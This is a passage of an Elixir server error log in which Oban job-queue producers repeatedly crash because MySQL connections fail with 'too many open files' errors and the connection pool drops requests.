    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:21:55.239408Z], limit: 20, uuid: "8312aa21-7237-43a5-ac40-988c3aa654e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:55.239414Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56444>, refresh_timer: #Reference<0.2525715032.1099431938.56419>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:06.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:06.739000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:08.454000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:08.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:11.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:14.353000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:14.464000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:17.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:22:06.239902Z], limit: 50, uuid: "9bb22db1-52aa-41bf-bd63-a3928e02100b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:06.239907Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32901>, refresh_timer: #Reference<0.2525715032.1068498948.56280>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:22:06.239713Z], limit: 10, uuid: "b233a2e5-b6eb-4ac3-b243-6d1c1c715880", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:06.239719Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32902>, refresh_timer: #Reference<0.2525715032.1121189889.184475>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:22:06.239269Z], limit: 5, uuid: "d0a1cb49-fa58-4cac-9cd8-addada6dc98b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:06.239279Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32904>, refresh_timer: #Reference<0.2525715032.1121189889.184464>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:22:06.239909Z], limit: 5, uuid: "841da2e1-e1ee-43ca-a577-8037823ebb74", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:06.239915Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32903>, refresh_timer: #Reference<0.2525715032.1121189889.184479>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:22:06.239693Z], limit: 3, uuid: "9d992663-0c09-4400-a32d-aba0508ae72d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:06.239701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32905>, refresh_timer: #Reference<0.2525715032.1121189889.184472>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:22:06.239938Z], limit: 20, uuid: "7fd3f655-c40e-40c2-9f64-02b12977ea4e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:06.239945Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32900>, refresh_timer: #Reference<0.2525715032.1068498948.56284>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:26.360000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:27.192000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:27.319000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:27.864000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:28.428000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:22:18.239629Z], limit: 5, uuid: "06d223b9-ff6c-4e42-a9c6-6af5e0140f60", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:18.239633Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33267>, refresh_timer: #Reference<0.2525715032.1077673987.33244>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:22:18.239897Z], limit: 5, uuid: "b86b4ad5-451b-4208-9946-c23a0f6f104e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:18.239901Z]}, 